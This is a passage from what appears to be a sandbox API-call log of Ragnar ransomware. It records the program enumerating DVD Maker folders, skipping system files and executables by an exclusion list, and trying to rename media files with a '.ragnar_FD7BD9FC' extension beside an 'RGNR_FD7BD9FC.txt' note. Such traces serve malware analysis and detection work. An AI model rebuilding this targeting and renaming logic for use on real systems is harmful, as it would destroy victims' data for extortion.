ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1ed0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pets_notes-txt-background.png", cAlternateFileName="")) returned 1 [0079.124] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="Pets_notes-txt-background.png", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81675c40, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.124] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2=".") returned 1 [0079.124] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="..") returned 1 [0079.124] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x71fdde60, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x71fdde60, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea487e7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x41ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="rollinghills.png", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="rollinghills.png", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="rollinghills.png", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7215ac02, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7215ac02, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ea6e945, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_INTRO_BG.wmv", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72180d5f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72180d5f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec1184f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3fc64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_INTRO_BG_PAL.wmv", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x721cd019, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x721cd019, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ec379ad, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2a8a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_LOOP_BG.wmv", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7223f430, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7223f430, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ecf6083, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scenes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="Scenes_LOOP_BG_PAL.wmv", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72323c5e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72323c5e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ed4233f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xe3dca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref.wmv", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="Title_Page_Ref.wmv", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 1 [0079.125] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2=".") returned 1 [0079.125] lstrcmpiW (lpString1="Title_Page_Ref_PAL.wmv", lpString2="..") returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x723bc1d2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x723bc1d2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee00a15, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf188a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_Ref_PAL.wmv", cAlternateFileName="")) returned 0 [0079.125] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.125] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81675c40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa15a10e8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x81675c40, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x81675c40, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.125] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72003fbd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72003fbd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG.wmv", cAlternateFileName="")) returned 1 [0079.125] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.125] lstrcpyW (in: lpString1=0x1eab52, lpString2="Notes_INTRO_BG.wmv" | out: lpString1="Notes_INTRO_BG.wmv") returned="Notes_INTRO_BG.wmv" [0079.126] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned=".wmv" [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="autorun.inf") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="boot.ini") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="bootfont.bin") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="bootsect.bak") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="bootmgr") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="bootmgr.efi") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="bootmgfw.efi") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="desktop.ini") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="iconcache.db") returned 1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="ntldr") returned -1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="ntuser.dat") returned -1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="ntuser.dat.log") returned -1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="ntuser.ini") returned -1 [0079.126] lstrcmpiW (lpString1="Notes_INTRO_BG.wmv", lpString2="thumbs.db") returned -1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.126] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.126] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv")) returned 0x20 [0079.126] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.126] CloseHandle (hObject=0xffffffff) returned 0 [0079.127] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" [0079.127] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.ragnar_FD7BD9FC" [0079.127] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.127] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72050277, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72050277, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e55fac9, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3dd24, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_INTRO_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.127] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.127] lstrcpyW (in: lpString1=0x1eab52, lpString2="Notes_INTRO_BG_PAL.wmv" | out: lpString1="Notes_INTRO_BG_PAL.wmv") returned="Notes_INTRO_BG_PAL.wmv" [0079.127] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned=".wmv" [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="autorun.inf") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="bootfont.bin") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="bootsect.bak") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="bootmgr") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="desktop.ini") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="iconcache.db") returned 1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="ntldr") returned -1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="ntuser.dat") returned -1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="ntuser.dat.log") returned -1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="ntuser.ini") returned -1 [0079.127] lstrcmpiW (lpString1="Notes_INTRO_BG_PAL.wmv", lpString2="thumbs.db") returned -1 [0079.127] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.127] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.127] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.127] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.127] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.127] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.128] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.128] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv")) returned 0x20 [0079.128] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.128] CloseHandle (hObject=0xffffffff) returned 0 [0079.128] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" [0079.128] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.ragnar_FD7BD9FC" [0079.129] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_INTRO_BG_PAL.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_intro_bg_pal.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.129] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x720763d4, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x720763d4, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e5d1ee3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0b4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG.wmv", cAlternateFileName="")) returned 1 [0079.129] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.129] lstrcpyW (in: lpString1=0x1eab52, lpString2="Notes_LOOP_BG.wmv" | out: lpString1="Notes_LOOP_BG.wmv") returned="Notes_LOOP_BG.wmv" [0079.129] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned=".wmv" [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="autorun.inf") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="boot.ini") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="bootfont.bin") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="bootsect.bak") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="bootmgr") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="bootmgr.efi") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="bootmgfw.efi") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="desktop.ini") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="iconcache.db") returned 1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="ntldr") returned -1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="ntuser.dat") returned -1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="ntuser.dat.log") returned -1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="ntuser.ini") returned -1 [0079.129] lstrcmpiW (lpString1="Notes_LOOP_BG.wmv", lpString2="thumbs.db") returned -1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".db") returned 1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".sys") returned 1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".dll") returned 1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".lnk") returned 1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".msi") returned 1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".drv") returned 1 [0079.129] lstrcmpiW (lpString1=".wmv", lpString2=".exe") returned 1 [0079.129] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv")) returned 0x20 [0079.130] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.130] CloseHandle (hObject=0xffffffff) returned 0 [0079.130] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" [0079.130] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.ragnar_FD7BD9FC" [0079.130] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG.wmv.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\pets\\notes_loop_bg.wmv.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.130] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7210e948, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7210e948, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e61e19f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd43ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="Notes_LOOP_BG_PAL.wmv", cAlternateFileName="")) returned 1 [0079.130] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x38 [0079.130] lstrcpyW (in: lpString1=0x1eab52, lpString2="Notes_LOOP_BG_PAL.wmv" | out: lpString1="Notes_LOOP_BG_PAL.wmv") returned="Notes_LOOP_BG_PAL.wmv" [0079.130] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Pets\\Notes_LOOP_BG_PAL.wmv") returned=".wmv" [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="autorun.inf") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="boot.ini") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="bootfont.bin") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="bootsect.bak") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="bootmgr") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="bootmgr.efi") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="bootmgfw.efi") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", lpString2="desktop.ini") returned 1 [0079.130] lstrcmpiW (lpString1="Notes_LOOP_BG_PAL.wmv", 